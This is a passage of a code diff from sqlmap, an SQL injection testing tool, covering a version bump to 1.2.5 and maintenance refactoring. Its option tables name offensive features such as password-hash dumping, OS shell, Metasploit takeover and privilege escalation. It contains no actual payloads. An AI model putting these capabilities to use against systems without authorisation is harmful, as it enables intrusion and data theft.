+                        _ = unicodeencode(re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, unsafeSQLIdentificatorNaming(table)))
                        dumpFileName = os.path.join(dumpDbPath, "%s-%s.%s" % (_, hashlib.md5(unicodeencode(table)).hexdigest()[:8], conf.dumpFormat.lower()))
                    else:
                        dumpFileName = os.path.join(dumpDbPath, "%s.%s" % (_, conf.dumpFormat.lower()))
@@ -611,9 +612,9 @@ class Dump(object):
                            mimetype = magic.from_buffer(value, mime=True)
                            if any(mimetype.startswith(_) for _ in ("application", "image")):
                                if not os.path.isdir(dumpDbPath):
-                                    os.makedirs(dumpDbPath, 0755)
+                                    os.makedirs(dumpDbPath)

-                                _ = re.sub(r"[^\w]", "_", normalizeUnicode(unsafeSQLIdentificatorNaming(column)))
+                                _ = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, normalizeUnicode(unsafeSQLIdentificatorNaming(column)))
                                filepath = os.path.join(dumpDbPath, "%s-%d.bin" % (_, randomInt(8)))
                                warnMsg = "writing binary ('%s') content to file '%s' " % (mimetype, filepath)
                                logger.warn(warnMsg)
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -22,6 +22,15 @@ class SORT_ORDER:
    FIFTH = 4
    LAST = 100

+# Reference: https://docs.python.org/2/library/logging.html#logging-levels
+class LOGGING_LEVELS:
+    NOTSET = 0
+    DEBUG = 10
+    INFO = 20
+    WARNING = 30
+    ERROR = 40
+    CRITICAL = 50
+
 class DBMS:
    ACCESS = "Microsoft Access"
    DB2 = "IBM DB2"
@@ -233,40 +242,40 @@ class REDIRECTION:

 class PAYLOAD:
    SQLINJECTION = {
-                        1: "boolean-based blind",
-                        2: "error-based",
-                        3: "inline query",
-                        4: "stacked queries",
-                        5: "AND/OR time-based blind",
-                        6: "UNION query",
-                   }
+        1: "boolean-based blind",
+        2: "error-based",
+        3: "inline query",
+        4: "stacked queries",
+        5: "AND/OR time-based blind",
+        6: "UNION query",
+    }

    PARAMETER = {
-                    1: "Unescaped numeric",
-                    2: "Single quoted string",
-                    3: "LIKE single quoted string",
-                    4: "Double quoted string",
-                    5: "LIKE double quoted string",
-                }
+        1: "Unescaped numeric",
+        2: "Single quoted string",
+        3: "LIKE single quoted string",
+        4: "Double quoted string",
+        5: "LIKE double quoted string",
+    }

    RISK = {
-                0: "No risk",
-                1: "Low risk",
-                2: "Medium risk",
-                3: "High risk",
-           }
+        0: "No risk",
+        1: "Low risk",
+        2: "Medium risk",
+        3: "High risk",
+    }

    CLAUSE = {
-                0: "Always",
-                1: "WHERE",
-                2: "GROUP BY",
-                3: "ORDER BY",
-                4: "LIMIT",
-                5: "OFFSET",
-                6: "TOP",
-                7: "Table name",
-                8: "Column name",
-             }
+        0: "Always",
+        1: "WHERE",
+        2: "GROUP BY",
+        3: "ORDER BY",
+        4: "LIMIT",
+        5: "OFFSET",
+        6: "TOP",
+        7: "Table name",
+        8: "Column name",
+    }

    class METHOD:
        COMPARISON = "comparison"
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -337,7 +337,7 @@ def _feedTargetsDict(reqFile, addedTargetUrls):

                if not host:
                    errMsg = "invalid format of a request file"
-                    raise SqlmapSyntaxException, errMsg
+                    raise SqlmapSyntaxException(errMsg)

                if not url.startswith("http"):
                    url = "%s://%s:%s%s" % (scheme or "http", host, port or "80", url)
@@ -402,7 +402,7 @@ def _loadQueries():
        errMsg = "something appears to be wrong with "
        errMsg += "the file '%s' ('%s'). Please make " % (paths.QUERIES_XML, getSafeExString(ex))
        errMsg += "sure that you haven't made any changes to it"
-        raise SqlmapInstallationException, errMsg
+        raise SqlmapInstallationException(errMsg)

    for node in tree.findall("*"):
        queries[node.attrib['value']] = iterate(node)
@@ -687,12 +687,12 @@ def _setMetasploit():

    if IS_WIN:
        try:
-            import win32file
+            __import__("win32file")
        except ImportError:
            errMsg = "sqlmap requires third-party module 'pywin32' "
            errMsg += "in order to use Metasploit functionalities on "
            errMsg += "Windows. You can download it from "
-            errMsg += "'http://sourceforge.net/projects/pywin32/files/pywin32/'"
+            errMsg += "'https://sourceforge.net/projects/pywin32/files/pywin32/'"
            raise SqlmapMissingDependence(errMsg)

        if not conf.msfPath:
@@ -700,7 +700,7 @@ def _setMetasploit():
                retVal = None

                try:
-                    from  _winreg import ConnectRegistry, OpenKey, QueryValueEx, HKEY_LOCAL_MACHINE
+                    from _winreg import ConnectRegistry, OpenKey, QueryValueEx, HKEY_LOCAL_MACHINE
                    _ = ConnectRegistry(None, HKEY_LOCAL_MACHINE)
                    _ = OpenKey(_, key)
                    retVal = QueryValueEx(_, value)[0]
@@ -784,7 +784,7 @@ def _setMetasploit():

    if not msfEnvPathExists:
        errMsg = "unable to locate Metasploit Framework installation. "
-        errMsg += "You can get it at 'http://www.metasploit.com/download/'"
+        errMsg += "You can get it at 'https://www.metasploit.com/download/'"
        raise SqlmapFilePathException(errMsg)

 def _setWriteFile():
@@ -918,7 +918,7 @@ def _setTamperingFunctions():
            dirname, filename = os.path.split(script)
            dirname = os.path.abspath(dirname)

-            infoMsg = "loading tamper script '%s'" % filename[:-3]
+            infoMsg = "loading tamper module '%s'" % filename[:-3]
            logger.info(infoMsg)

            if not os.path.exists(os.path.join(dirname, "__init__.py")):
@@ -931,8 +931,8 @@ def _setTamperingFunctions():

            try:
                module = __import__(filename[:-3].encode(sys.getfilesystemencoding() or UNICODE_ENCODING))
-            except (ImportError, SyntaxError), ex:
-                raise SqlmapSyntaxException("cannot import tamper script '%s' (%s)" % (filename[:-3], getSafeExString(ex)))
+            except Exception, ex:
+                raise SqlmapSyntaxException("cannot import tamper module '%s' (%s)" % (filename[:-3], getSafeExString(ex)))

            priority = PRIORITY.NORMAL if not hasattr(module, "__priority__") else module.__priority__

@@ -962,7 +962,12 @@ def _setTamperingFunctions():

                    break
                elif name == "dependencies":
-                    function()
+                    try:
+                        function()
+                    except Exception, ex:
+                        errMsg = "error occurred while checking dependencies "
+                        errMsg += "for tamper module '%s' ('%s')" % (filename[:-3], getSafeExString(ex))
+                        raise SqlmapGenericException(errMsg)

            if not found:
                errMsg = "missing function 'tamper(payload, **kwargs)' "
@@ -1046,7 +1051,7 @@ def _setSocketPreConnect():
    if conf.disablePrecon:
        return

-    def _():
+    def _thread():
        while kb.get("threadContinue") and not conf.get("disablePrecon"):
            try:
                for key in socket._ready:
@@ -1078,6 +1083,7 @@ def _setSocketPreConnect():
                    break
                else:
                    try:
+                        candidate.shutdown(socket.SHUT_RDWR)
                        candidate.close()
                    except socket.error:
                        pass
@@ -1090,7 +1096,7 @@ def _setSocketPreConnect():
        socket.socket._connect = socket.socket.connect
        socket.socket.connect = connect

-        thread = threading.Thread(target=_)
+        thread = threading.Thread(target=_thread)
        setDaemon(thread)
        thread.start()

@@ -1127,7 +1133,7 @@ def _setHTTPHandlers():
            _ = urlparse.urlsplit(conf.proxy)
        except Exception, ex:
            errMsg = "invalid proxy address '%s' ('%s')" % (conf.proxy, getSafeExString(ex))
-            raise SqlmapSyntaxException, errMsg
+            raise SqlmapSyntaxException(errMsg)

        hostnamePort = _.netloc.split(":")

@@ -1254,7 +1260,7 @@ def _setSafeVisit():
                kb.safeReq.post = None
        else:
            errMsg = "invalid format of a safe request file"
-            raise SqlmapSyntaxException, errMsg
+            raise SqlmapSyntaxException(errMsg)
    else:
        if not re.search(r"\Ahttp[s]*://", conf.safeUrl):
            if ":443/" in conf.safeUrl:
@@ -1376,7 +1382,7 @@ def _setHTTPAuthentication():
            except ImportError:
                errMsg = "sqlmap requires Python NTLM third-party library "
                errMsg += "in order to authenticate via NTLM, "
-                errMsg += "http://code.google.com/p/python-ntlm/"
+                errMsg += "https://github.com/mullender/python-ntlm"
                raise SqlmapMissingDependence(errMsg)

            authHandler = HTTPNtlmAuthHandler.HTTPNtlmAuthHandler(kb.passwordMgr)
@@ -1488,8 +1494,8 @@ def _setHTTPUserAgent():

        userAgent = random.sample(kb.userAgents or [_defaultHTTPUserAgent()], 1)[0]

-        infoMsg = "fetched random HTTP User-Agent header from "
-        infoMsg += "file '%s': '%s'" % (paths.USER_AGENTS, userAgent)
+        infoMsg = "fetched random HTTP User-Agent header value '%s' from " % userAgent
+        infoMsg += "file '%s'" % paths.USER_AGENTS
        logger.info(infoMsg)

        conf.httpHeaders.append((HTTP_HEADER.USER_AGENT, userAgent))
@@ -1579,7 +1585,7 @@ def _createTemporaryDirectory():
        except (OSError, IOError), ex:
            errMsg = "there has been a problem while accessing "
            errMsg += "temporary directory location(s) ('%s')" % getSafeExString(ex)
-            raise SqlmapSystemException, errMsg
+            raise SqlmapSystemException(errMsg)
    else:
        try:
            if not os.path.isdir(tempfile.gettempdir()):
@@ -1606,7 +1612,7 @@ def _createTemporaryDirectory():
        except (OSError, IOError, WindowsError), ex:
            errMsg = "there has been a problem while setting "
            errMsg += "temporary directory location ('%s')" % getSafeExString(ex)
-            raise SqlmapSystemException, errMsg
+            raise SqlmapSystemException(errMsg)

 def _cleanupOptions():
    """
@@ -1647,7 +1653,10 @@ def _cleanupOptions():
        conf.rParam = []

    if conf.paramDel and '\\' in conf.paramDel:
-        conf.paramDel = conf.paramDel.decode("string_escape")
+        try:
+            conf.paramDel = conf.paramDel.decode("string_escape")
+        except ValueError:
+            pass

    if conf.skip:
        conf.skip = conf.skip.replace(" ", "")
@@ -1661,6 +1670,9 @@ def _cleanupOptions():
    if conf.delay:
        conf.delay = float(conf.delay)

+    if conf.url:
+        conf.url = conf.url.strip()
+
    if conf.rFile:
        conf.rFile = ntToPosixSlashes(normalizePath(conf.rFile))

@@ -1781,8 +1793,8 @@ def _cleanupOptions():
    if conf.col:
        conf.col = re.sub(r"\s*,\s*", ',', conf.col)

-    if conf.excludeCol:
-        conf.excludeCol = re.sub(r"\s*,\s*", ',', conf.excludeCol)
+    if conf.exclude:
+        conf.exclude = re.sub(r"\s*,\s*", ',', conf.exclude)

    if conf.binaryFields:
        conf.binaryFields = re.sub(r"\s*,\s*", ',', conf.binaryFields)
@@ -1886,6 +1898,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
    kb.cache.addrinfo = {}
    kb.cache.content = {}
    kb.cache.encoding = {}
+    kb.cache.alphaBoundaries = None
    kb.cache.intBoundaries = None
    kb.cache.parsedDbms = {}
    kb.cache.regex = {}
@@ -1937,6 +1950,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
    kb.forcePartialUnion = False
    kb.forceWhere = None
    kb.futileUnion = None
+    kb.heavilyDynamic = False
    kb.headersFp = {}
    kb.heuristicDbms = None
    kb.heuristicExtendedDbms = None
@@ -2030,6 +2044,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
    kb.uChar = NULL
    kb.unionDuplicates = False
    kb.wafSpecificResponse = None
+    kb.wizardMode = False
    kb.xpCmdshellAvailable = False

    if flushAll:
@@ -2097,11 +2112,11 @@ def _useWizardInterface():
            choice = readInput(message, default='1')

            if choice == '2':
-                map(lambda x: conf.__setitem__(x, True), WIZARD.INTERMEDIATE)
+                map(lambda _: conf.__setitem__(_, True), WIZARD.INTERMEDIATE)
            elif choice == '3':
-                map(lambda x: conf.__setitem__(x, True), WIZARD.ALL)
+                map(lambda _: conf.__setitem__(_, True), WIZARD.ALL)
            else:
-                map(lambda x: conf.__setitem__(x, True), WIZARD.BASIC)
+                map(lambda _: conf.__setitem__(_, True), WIZARD.BASIC)

    logger.debug("muting sqlmap.. it will do the magic for you")
    conf.verbose = 0
@@ -2111,6 +2126,8 @@ def _useWizardInterface():

    dataToStdout("\nsqlmap is running, please wait..\n\n")

+    kb.wizardMode = True
+
 def _saveConfig():
    """
    Saves the command line options to a sqlmap configuration INI file
@@ -2305,7 +2322,6 @@ def _setTorHttpProxySettings():
        errMsg = "can't establish connection with the Tor HTTP proxy. "
        errMsg += "Please make sure that you have Tor (bundle) installed and setup "
        errMsg += "so you could be able to successfully use switch '--tor' "
-
        raise SqlmapConnectionException(errMsg)

    if not conf.checkTor:
@@ -2326,7 +2342,6 @@ def _setTorSocksProxySettings():
        errMsg = "can't establish connection with the Tor SOCKS proxy. "
        errMsg += "Please make sure that you have Tor service installed and setup "
        errMsg += "so you could be able to successfully use switch '--tor' "
-
        raise SqlmapConnectionException(errMsg)

    # SOCKS5 to prevent DNS leaks (http://en.wikipedia.org/wiki/Tor_%28anonymity_network%29)
@@ -2339,7 +2354,7 @@ def _checkWebSocket():
            from websocket import ABNF
        except ImportError:
            errMsg = "sqlmap requires third-party module 'websocket-client' "
-            errMsg += "in order to use WebSocket funcionality"
+            errMsg += "in order to use WebSocket functionality"
            raise SqlmapMissingDependence(errMsg)

 def _checkTor():
@@ -2531,11 +2546,11 @@ def _basicOptionValidation():
        raise SqlmapSyntaxException(errMsg)

    if conf.checkTor and not any((conf.tor, conf.proxy)):
-        errMsg = "switch '--check-tor' requires usage of switch '--tor' (or option '--proxy' with HTTP proxy address using Tor)"
+        errMsg = "switch '--check-tor' requires usage of switch '--tor' (or option '--proxy' with HTTP proxy address of Tor service)"
        raise SqlmapSyntaxException(errMsg)

    if conf.torPort is not None and not (isinstance(conf.torPort, int) and conf.torPort >= 0 and conf.torPort <= 65535):
-        errMsg = "value for option '--tor-port' must be in range 0-65535"
+        errMsg = "value for option '--tor-port' must be in range [0, 65535]"
        raise SqlmapSyntaxException(errMsg)

    if conf.torType not in getPublicTypeMembers(PROXY_TYPE, True):
@@ -2580,9 +2595,9 @@ def _basicOptionValidation():
    if conf.encoding:
        _ = checkCharEncoding(conf.encoding, False)
        if _ is None:
-            errMsg = "unknown charset '%s'. Please visit " % conf.encoding
+            errMsg = "unknown encoding '%s'. Please visit " % conf.encoding
            errMsg += "'%s' to get the full list of " % CODECS_LIST_PAGE
-            errMsg += "supported charsets"
+            errMsg += "supported encodings"
            raise SqlmapSyntaxException(errMsg)
        else:
            conf.encoding = _
@@ -1,255 +1,257 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

 optDict = {
-            # Format:
-            # Family:        { "parameter name":    "parameter datatype" },
-            # Or:
-            # Family:        { "parameter name":    ("parameter datatype", "category name used for common outputs feature") },
-            "Target":        {
-                               "direct":            "string",
-                               "url":               "string",
-                               "logFile":           "string",
-                               "bulkFile":          "string",
-                               "requestFile":       "string",
-                               "sessionFile":       "string",
-                               "googleDork":        "string",
-                               "configFile":        "string",
-                               "sitemapUrl":        "string",
-                             },
+    # Family: {"parameter name": "parameter datatype"},
+    # --OR--
+    # Family: {"parameter name": ("parameter datatype", "category name used for common outputs feature")},

-            "Request":       {
-                               "method":            "string",
-                               "data":              "string",
-                               "paramDel":          "string",
-                               "cookie":            "string",
-                               "cookieDel":         "string",
-                               "loadCookies":       "string",
-                               "dropSetCookie":     "boolean",
-                               "agent":             "string",
-                               "randomAgent":       "boolean",
-                               "host":              "string",
-                               "referer":           "string",
-                               "headers":           "string",
-                               "authType":          "string",
-                               "authCred":          "string",
-                               "authFile":          "string",
-                               "ignoreCode":        "integer",
-                               "ignoreProxy":       "boolean",
-                               "ignoreRedirects":   "boolean",
-                               "ignoreTimeouts":    "boolean",
-                               "proxy":             "string",
-                               "proxyCred":         "string",
-                               "proxyFile":         "string",
-                               "tor":               "boolean",
-                               "torPort":           "integer",
-                               "torType":           "string",
-                               "checkTor":          "boolean",
-                               "delay":             "float",
-                               "timeout":           "float",
-                               "retries":           "integer",
-                               "rParam":            "string",
-                               "safeUrl":           "string",
-                               "safePost":          "string",
-                               "safeReqFile":       "string",
-                               "safeFreq":          "integer",
-                               "skipUrlEncode":     "boolean",
-                               "csrfToken":         "string",
-                               "csrfUrl":           "string",
-                               "forceSSL":          "boolean",
-                               "hpp":               "boolean",
-                               "evalCode":          "string",
-                             },
+    "Target": {
+        "direct": "string",
+        "url": "string",
+        "logFile": "string",
+        "bulkFile": "string",
+        "requestFile": "string",
+        "sessionFile": "string",
+        "googleDork": "string",
+        "configFile": "string",
+        "sitemapUrl": "string",
+    },

-            "Optimization":  {
-                               "optimize":          "boolean",
-                               "predictOutput":     "boolean",
-                               "keepAlive":         "boolean",
-                               "nullConnection":    "boolean",
-                               "threads":           "integer",
-                             },
+    "Request": {
+        "method": "string",
+        "data": "string",
+        "paramDel": "string",
+        "cookie": "string",
+        "cookieDel": "string",
+        "loadCookies": "string",
+        "dropSetCookie": "boolean",
+        "agent": "string",
+        "randomAgent": "boolean",
+        "host": "string",
+        "referer": "string",
+        "headers": "string",
+        "authType": "string",
+        "authCred": "string",
+        "authFile": "string",
+        "ignoreCode": "integer",
+        "ignoreProxy": "boolean",
+        "ignoreRedirects": "boolean",
+        "ignoreTimeouts": "boolean",
+        "proxy": "string",
+        "proxyCred": "string",
+        "proxyFile": "string",
+        "tor": "boolean",
+        "torPort": "integer",
+        "torType": "string",
+        "checkTor": "boolean",
+        "delay": "float",
+        "timeout": "float",
+        "retries": "integer",
+        "rParam": "string",
+        "safeUrl": "string",
+        "safePost": "string",
+        "safeReqFile": "string",
+        "safeFreq": "integer",
+        "skipUrlEncode": "boolean",
+        "csrfToken": "string",
+        "csrfUrl": "string",
+        "forceSSL": "boolean",
+        "hpp": "boolean",
+        "evalCode": "string",
+    },

-            "Injection":     {
-                               "testParameter":     "string",
-                               "skip":              "string",
-                               "skipStatic":        "boolean",
-                               "paramExclude":      "string",
-                               "dbms":              "string",
-                               "dbmsCred":          "string",
-                               "os":                "string",
-                               "invalidBignum":     "boolean",
-                               "invalidLogical":    "boolean",
-                               "invalidString":     "boolean",
-                               "noCast":            "boolean",
-                               "noEscape":          "boolean",
-                               "prefix":            "string",
-                               "suffix":            "string",
-                               "tamper":            "string",
-                             },
+    "Optimization": {
+        "optimize": "boolean",
+        "predictOutput": "boolean",
+        "keepAlive": "boolean",
+        "nullConnection": "boolean",
+        "threads": "integer",
+    },

-            "Detection":     {
-                               "level":             "integer",
-                               "risk":              "integer",
-                               "string":            "string",
-                               "notString":         "string",
-                               "regexp":            "string",
-                               "code":              "integer",
-                               "textOnly":          "boolean",
-                               "titles":            "boolean",
-                             },
+    "Injection": {
+        "testParameter": "string",
+        "skip": "string",
+        "skipStatic": "boolean",
+        "paramExclude": "string",
+        "dbms": "string",
+        "dbmsCred": "string",
+        "os": "string",
+        "invalidBignum": "boolean",
+        "invalidLogical": "boolean",
+        "invalidString": "boolean",
+        "noCast": "boolean",
+        "noEscape": "boolean",
+        "prefix": "string",
+        "suffix": "string",
+        "tamper": "string",
+    },

-            "Techniques":    {
-                               "tech":              "string",
-                               "timeSec":           "integer",
-                               "uCols":             "string",
-                               "uChar":             "string",
-                               "uFrom":             "string",
-                               "dnsDomain":         "string",
-                               "secondOrder":       "string",
-                             },
+    "Detection": {
+        "level": "integer",
+        "risk": "integer",
+        "string": "string",
+        "notString": "string",
+        "regexp": "string",
+        "code": "integer",
+        "textOnly": "boolean",
+        "titles": "boolean",
+    },

-            "Fingerprint":   {
-                               "extensiveFp":       "boolean",
-                             },
+    "Techniques": {
+        "tech": "string",
+        "timeSec": "integer",
+        "uCols": "string",
+        "uChar": "string",
+        "uFrom": "string",
+        "dnsDomain": "string",
+        "secondOrder": "string",
+    },

-            "Enumeration":   {
-                               "getAll":            "boolean",
-                               "getBanner":         ("boolean", "Banners"),
-                               "getCurrentUser":    ("boolean", "Users"),
-                               "getCurrentDb":      ("boolean", "Databases"),
-                               "getHostname":       "boolean",
-                               "isDba":             "boolean",
-                               "getUsers":          ("boolean", "Users"),
-                               "getPasswordHashes": ("boolean", "Passwords"),
-                               "getPrivileges":     ("boolean", "Privileges"),
-                               "getRoles":          ("boolean", "Roles"),
-                               "getDbs":            ("boolean", "Databases"),
-                               "getTables":         ("boolean", "Tables"),
-                               "getColumns":        ("boolean", "Columns"),
-                               "getSchema":         "boolean",
-                               "getCount":          "boolean",
-                               "dumpTable":         "boolean",
-                               "dumpAll":           "boolean",
-                               "search":            "boolean",
-                               "getComments":       "boolean",
-                               "db":                "string",
-                               "tbl":               "string",
-                               "col":               "string",
-                               "excludeCol":        "string",
-                               "pivotColumn":       "string",
-                               "dumpWhere":         "string",
-                               "user":              "string",
-                               "excludeSysDbs":     "boolean",
-                               "limitStart":        "integer",
-                               "limitStop":         "integer",
-                               "firstChar":         "integer",
-                               "lastChar":          "integer",
-                               "query":             "string",
-                               "sqlShell":          "boolean",
-                               "sqlFile":           "string",
-                             },
+    "Fingerprint": {
+        "extensiveFp": "boolean",
+    },

-            "Brute":         {
-                               "commonTables":       "boolean",
-                               "commonColumns":      "boolean",
-                             },
+    "Enumeration": {
+        "getAll": "boolean",
+        "getBanner": ("boolean", "Banners"),
+        "getCurrentUser": ("boolean", "Users"),
+        "getCurrentDb": ("boolean", "Databases"),
+        "getHostname": "boolean",
+        "isDba": "boolean",
+        "getUsers": ("boolean", "Users"),
+        "getPasswordHashes": ("boolean", "Passwords"),
+        "getPrivileges": ("boolean", "Privileges"),
+        "getRoles": ("boolean", "Roles"),
+        "getDbs": ("boolean", "Databases"),
+        "getTables": ("boolean", "Tables"),
+        "getColumns": ("boolean", "Columns"),
+        "getSchema": "boolean",
+        "getCount": "boolean",
+        "dumpTable": "boolean",
+        "dumpAll": "boolean",
+        "search": "boolean",
+        "getComments": "boolean",
+        "db": "string",
+        "tbl": "string",
+        "col": "string",
+        "exclude": "string",
+        "pivotColumn": "string",
+        "dumpWhere": "string",
+        "user": "string",
+        "excludeSysDbs": "boolean",
+        "limitStart": "integer",
+        "limitStop": "integer",
+        "firstChar": "integer",
+        "lastChar": "integer",
+        "query": "string",
+        "sqlShell": "boolean",
+        "sqlFile": "string",
+    },

-            "User-defined function": {
-                               "udfInject":         "boolean",
-                               "shLib":             "string",
-                             },
+    "Brute": {
+        "commonTables": "boolean",
+        "commonColumns": "boolean",
+    },

-            "File system":   {
-                               "rFile":             "string",
-                               "wFile":             "string",
-                               "dFile":             "string",
-                             },
+    "User-defined function": {
+        "udfInject": "boolean",
+        "shLib": "string",
+    },

-            "Takeover":      {
-                               "osCmd":             "string",
-                               "osShell":           "boolean",
-                               "osPwn":             "boolean",
-                               "osSmb":             "boolean",
-                               "osBof":             "boolean",
-                               "privEsc":           "boolean",
-                               "msfPath":           "string",
-                               "tmpPath":           "string",
-                             },
+    "File system": {
+        "rFile": "string",
+        "wFile": "string",
+        "dFile": "string",
+    },

-            "Windows":       {
-                               "regRead":           "boolean",
-                               "regAdd":            "boolean",
-                               "regDel":            "boolean",
-                               "regKey":            "string",
-                               "regVal":            "string",
-                               "regData":           "string",
-                               "regType":           "string",
-                             },
+    "Takeover": {
+        "osCmd": "string",
+        "osShell": "boolean",
+        "osPwn": "boolean",
+        "osSmb": "boolean",
+        "osBof": "boolean",
+        "privEsc": "boolean",
+        "msfPath": "string",
+        "tmpPath": "string",
+    },

-            "General":       {
-                               #"xmlFile":           "string",
-                               "trafficFile":       "string",
-                               "batch":             "boolean",
-                               "binaryFields":      "string",
-                               "charset":           "string",
-                               "checkInternet":     "boolean",
-                               "crawlDepth":        "integer",
-                               "crawlExclude":      "string",
-                               "csvDel":            "string",
-                               "dumpFormat":        "string",
-                               "encoding":          "string",
-                               "eta":               "boolean",
-                               "flushSession":      "boolean",
-                               "forms":             "boolean",
-                               "freshQueries":      "boolean",
-                               "harFile":           "string",
-                               "hexConvert":        "boolean",
-                               "outputDir":         "string",
-                               "parseErrors":       "boolean",
-                               "saveConfig":        "string",
-                               "scope":             "string",
-                               "testFilter":        "string",
-                               "testSkip":          "string",
-                               "updateAll":         "boolean",
-                             },
+    "Windows": {
+        "regRead": "boolean",
+        "regAdd": "boolean",
+        "regDel": "boolean",
+        "regKey": "string",
+        "regVal": "string",
+        "regData": "string",
+        "regType": "string",
+    },

-            "Miscellaneous": {
-                               "alert":             "string",
-                               "answers":           "string",
-                               "beep":              "boolean",
-                               "cleanup":           "boolean",
-                               "dependencies":      "boolean",
-                               "disableColoring":   "boolean",
-                               "googlePage":        "integer",
-                               "identifyWaf":       "boolean",
-                               "mobile":            "boolean",
-                               "offline":           "boolean",
-                               "purgeOutput":       "boolean",
-                               "skipWaf":           "boolean",
-                               "smart":             "boolean",
-                               "tmpDir":            "string",
-                               "webRoot":           "string",
-                               "wizard":            "boolean",
-                               "verbose":           "integer",
-                             },
-            "Hidden": {
-                               "dummy":             "boolean",
-                               "disablePrecon":     "boolean",
-                               "profile":           "boolean",
-                               "forceDns":          "boolean",
-                               "murphyRate":        "integer",
-                               "smokeTest":         "boolean",
-                               "liveTest":          "boolean",
-                               "stopFail":          "boolean",
-                               "runCase":           "string",
-                      },
-            "API": {
-                               "api":               "boolean",
-                               "taskid":            "string",
-                               "database":          "string",
-                      }
-          }
+    "General": {
+        # "xmlFile": "string",
+        "trafficFile": "string",
+        "batch": "boolean",
+        "binaryFields": "string",
+        "charset": "string",
+        "checkInternet": "boolean",
+        "crawlDepth": "integer",
+        "crawlExclude": "string",
+        "csvDel": "string",
+        "dumpFormat": "string",
+        "encoding": "string",
+        "eta": "boolean",
+        "flushSession": "boolean",
+        "forms": "boolean",
+        "freshQueries": "boolean",
+        "harFile": "string",
+        "hexConvert": "boolean",
+        "outputDir": "string",
+        "parseErrors": "boolean",
+        "saveConfig": "string",
+        "scope": "string",
+        "testFilter": "string",
+        "testSkip": "string",
+        "updateAll": "boolean",
+    },
+
+    "Miscellaneous": {
+        "alert": "string",
+        "answers": "string",
+        "beep": "boolean",
+        "cleanup": "boolean",
+        "dependencies": "boolean",
+        "disableColoring": "boolean",
+        "googlePage": "integer",
+        "identifyWaf": "boolean",
+        "mobile": "boolean",
+        "offline": "boolean",
+        "purgeOutput": "boolean",
+        "skipWaf": "boolean",
+        "smart": "boolean",
+        "tmpDir": "string",
+        "webRoot": "string",
+        "wizard": "boolean",
+        "verbose": "integer",
+    },
+
+    "Hidden": {
+        "dummy": "boolean",
+        "disablePrecon": "boolean",
+        "profile": "boolean",
+        "forceDns": "boolean",
+        "murphyRate": "integer",
+        "smokeTest": "boolean",
+        "liveTest": "boolean",
+        "stopFail": "boolean",
+        "runCase": "string",
+    },
+
+    "API": {
+        "api": "boolean",
+        "taskid": "string",
+        "database": "string",
+    }
+}
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -20,9 +20,9 @@ def profile(profileOutputFile=None, dotOutputFile=None, imageOutputFile=None):
    """

    try:
+        __import__("gobject")
        from thirdparty.gprof2dot import gprof2dot
        from thirdparty.xdot import xdot
-        import gobject
        import gtk
        import pydot
    except ImportError, e:
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -14,11 +14,11 @@ _readline = None
 try:
    from readline import *
    import readline as _readline
-except ImportError:
+except:
    try:
        from pyreadline import *
        import pyreadline as _readline
-    except ImportError:
+    except:
        pass

 if IS_WIN and _readline:
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -19,7 +19,7 @@ from lib.core.enums import DBMS_DIRECTORY_NAME
 from lib.core.enums import OS

 # sqlmap version (<major>.<minor>.<month>.<monthly commit>)
-VERSION = "1.1.11.0"
+VERSION = "1.2.5.0"
 TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
 TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
 VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
